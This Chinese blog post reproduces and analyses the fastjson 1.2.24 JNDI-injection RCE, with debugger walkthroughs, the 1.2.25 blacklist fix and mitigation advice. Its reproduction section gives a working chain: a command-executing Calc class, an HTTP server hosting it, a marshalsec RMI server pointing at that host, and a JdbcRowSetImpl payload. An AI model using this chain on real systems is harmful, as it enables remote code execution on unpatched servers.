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追洞小組 | fastjson1.2.24復現+分析

2021-04-01 17:52:28 其他

出品｜MS08067實驗室（www.ms08067.com)

本文作者：愛吃芝士的小葵（Ms08067實驗室追洞小組成員）

1、靶場搭建
2、漏洞復現
3、漏洞分析
4、漏洞修復
5、心得

靶場搭建

使用idea maven專案創建，在pom中匯入fastjson的坐標，（因為本文復現1.2.24的rce，所以版本要小于1.2.24，本文采 取1.2.23版本坐標），
匯入之后在右邊點擊maven圖示匯入，

**坑點
其中環境有一個非常細小的點，可以說是個大坑，我除錯了很久，之前的報錯如下：
1、rmi+jndi環境：java.sql.SQLException: JdbcRowSet (連接) JNDI 無法連接 2、ldap+jndi環境：java.lang.ClassCastException: javax.naming.Reference cannot be cast to javax.sql.DataSource
后來才發現是java的環境沒有配置對，雖然都是jdk1.8，但是復現的環境采用1.8.0_102,之前的環境1.8.0_221沒有復現成 功，因為JDK 8u113 之后，系統屬性 com.sun.jndi.rmi.object.trustURLCodebase 、 com.sun.jndi.cosnaming.object.trustURLCodebase 的默認值變為false，即默認不允許RMI、cosnaming從遠程的 Codebase加載Reference工廠類，

漏洞復現

一、準備被遠程下載的class檔案

這邊簡單彈個計算器，也可以反彈shell

package com.v1rus；

public class Calc{
public Calc(){
try{
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Calc c = new Calc();
}
}

命令列輸入 javac Calc.java ，在當前檔案夾下會生成Calc.class檔案，

二、 http服務

可以簡單的用python3在當前Calc.class檔案的檔案夾下起http服務

python -m http.server 8088

三、RMI服務

使用marshalsec起rmi服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.249.156:8088/#Calc" 8

漏洞分析

fastjson在決議json的程序中，支持使用autoType來實體化某一個具體的類，并呼叫該類的set/get方法來訪問屬性，通過查找代碼中相關的方法，即可構造出一些惡意利用鏈，
首先放上服務端使用的poc demo：

package com.v1rus;
import com.alibaba.fastjson.JSON;
public class Test {
public static void main(String[] args) {
String v1rus = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.249.15
JSON.parseObject(v1rus);
}
}

一、熟悉fastjson作業流程

我們的poc中用到的類是
com.sun.rowset.JdbcRowSetImpl

Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:131)
at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField(DefaultFieldDeserializer.j
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:722)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:568)
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:877)
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown So
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:183)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137) at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:201) at com.v1rus.Test.main(Test.java:8)

我們直接進入 com.alibaba.fastjson.JSON 這個類中，并在parseObject函式上面下斷點，

最后會跟到這個方法上，通過DefaultJSONParser類去parse我們傳入的字串

跟進74行的parse代碼，這里是根據JSONLexer的token為12到case的判斷，進入關鍵函式

根據lexer.token()方法回傳token的值，這里是12，所以進入else進行處理，

然后進入while(true)回圈，第一步驟就是lexer.skipWhitespace，跟進去查看方法

因而回傳的是 “ 號，所以可以進入if判斷，根據變數名我們也可以得知，scanSymbol這個方法回傳的是key關鍵字，
（key、value對）

大家可以簡單的跟進
com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol
這個函式走一下流程，最后會通過雙引號的閉合判斷來回傳value字串，這邊回傳的就是第一個字串 @type

繼續往下走到了這里，將key和全域靜態常量作比較看是否為 @type ，如果是的話，進入if判斷，

跟進 com.alibaba.fastjson.util#loadClass ，這里面并沒有做什么黑名單的過濾就講這個類物件回傳了，

上面那行代碼，跟進分析

判斷是類名回傳

跟進方法分析回傳
FastJsonASMDeserializer_1_JdbcRowSetImpl

再跟進deserialze后繼續往下除錯，進入setDataSourceName方法，將dataSourceName值設定為目標RMI服務的地址
一路跟到parseField方法

呼叫smartMatch方法來處理我們傳入的key值，跟進這個方法

之后回跟到
((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues);這行代碼，進入FieldDeserializer的parseField方法，進行一些Field的賦值操作，

再跟進
com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue方法，根據fieldInfo.fieldClass判斷該類，最后進入箭頭指向的else體，通過反射呼叫setAutoCommit關鍵方法，嘿嘿，接下來不是為所欲為，

這個jdk自帶的類必須要先獲得一個connection，如果沒有的話先執行connect方法，我們進去看看里面有什么，

因為我們在前面通過setDataSourceName()方法設定了dataSourceName的值，所以進入esle if通過lookup方法去獲取dataSource，而rmi（java遠程方法呼叫機制）的主角就是這個方法，如果lookup里面傳入的引數可控，就可以指向我們所構造的rmi服務，那么就有很大的可能被攻擊，（InitialContext 是一個實作了Context介面的類，使用這個類作為JNDI命名服務的入口點，）

這里也簡單提一句JNDI和RMI關系，以便更好理解，簡單來說，JNDI (Java Naming and Directory Interface)是一組應用程式介面，JNDI底層支持RMI遠程物件，RMI注冊的服務可以通過JNDI介面來訪問和呼叫，JNDI介面在初始化時，可以將RMI URL作為引數傳入，而JNDI注入就出現在客戶端的lookup()函式中，

用referenceWrapper包裝reference類，注冊在jndi的rmi服務實作上，這里rmi服務器系結的類并沒有實作相應的介面，而是通過Refernces類來系結過一個外部的遠程物件，（這里先提及一下，后面會詳細說明）一路跟進到這個最終的方法，該方法執行完就會加載完遠程類實作rce，可以看到這里的var3是RegistryContext類，呼叫lookup函式，

跟進去時候傳入的這個引數是Calc也就是/后面的請求檔案，不為空之后呼叫this.registry(RegistryImpl_Stub，stub和skel的概念是相對而言的，并不只存在于服務端和客戶端之間)的lookup方法，是我們可控的，所以就造成了JNDI注入漏洞，

繼續跟進marshelsec可能會出現這樣的錯誤:

java.net.SocketTimeoutException: Read timed out
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.socketRead(Unknown Source)
at java.net.SocketInputStream.read(Unknown Source)
at java.net.SocketInputStream.read(Unknown Source)
at java.io.BufferedInputStream.fill(Unknown Source)
at java.io.BufferedInputStream.read(Unknown Source)
at java.io.FilterInputStream.read(Unknown Source)
at marshalsec.jndi.RMIRefServer.doMessage(RMIRefServer.java:221)
at marshalsec.jndi.RMIRefServer.run(RMIRefServer.java:171)
at marshalsec.jndi.RMIRefServer.main(RMIRefServer.java:117)

原因是網路讀取資料超時，我們跟進方法的同時加長的資料傳輸的時間，等待超時拋出錯誤，至此利用的部分已經結束，

疑惑

因為JNDI注入中RMI服務器最終執行遠程方法，但是目標服務器lookup()一個惡意的RMI服務地址，反而是目標服務器執行了，那么究竟是什么原因？
在JNDI服務中，RMI服務端除了直接系結遠程物件之外，還可以通過Reference類來系結一個外部的遠程物件（當前名稱目錄系統之外的物件），系結了Reference之后，服務端會先通過Referenceable.getReference()獲取系結物件的參考，并且在目錄中保存，當客戶端在lookup()查找這個遠程物件時，客戶端會獲取相應的object factory，最終通過factory類將reference轉換為具體的物件實體，

簡而言之，在Server系結Reference時，這個惡意物件是不在Server上的，Reference指向某個地址，Client會去這個地址
取出物件并在Client實體化，

總結

攻擊者準備rmi服務和web服務，將rmi絕對路徑注入到lookup方法中，受害者JNDI介面會指向攻擊者控制rmi服務器，JNDI介面向攻擊者控制web服務器遠程加載惡意代碼，執行建構式造成RCE，

漏洞修復

從1.2.25開始對這個漏洞進行了修補，修補方式是會在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject方法中呼叫 com.alibaba.fastjson.parser.ParserConfig#checkAutoType來檢查我們傳入的類是不是在黑名單中，也就是將TypeUtils.loadClass替換為checkAutoType()函式:

只有通過了白名單的校驗才會呼叫loadClass，

但是這里同時使用白名單和黑名單的方式來限制反序列化的類，只有當白名單不通過時才會進行黑名單判斷，相當于白名單并沒有真正起到白名單的作用，我們仍然可以進入后續的流程來進行繞過，

黑名單里面禁止了一些常見的反序列化漏洞利用鏈：

bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

心得

1、 Fastjson主要還是利用了autotype功能實作"@type"欄位指定反序列化的Class型別，所以盡量關閉autotype就沒有問題，雖然Fastjson在1.2.24之后實作了一套黑名單，但還是存在被繞過風險，
2、 rmi在fastjson中的利用只是jndi的一種手段，還有ldap等，是在rmi服務器上系結reference物件，與rmi本身的反序列話不是很有關系，它將從攻擊者控制的服務器獲取工廠類，然后實體化工廠以回傳 JNDI所參考的物件的新實體，

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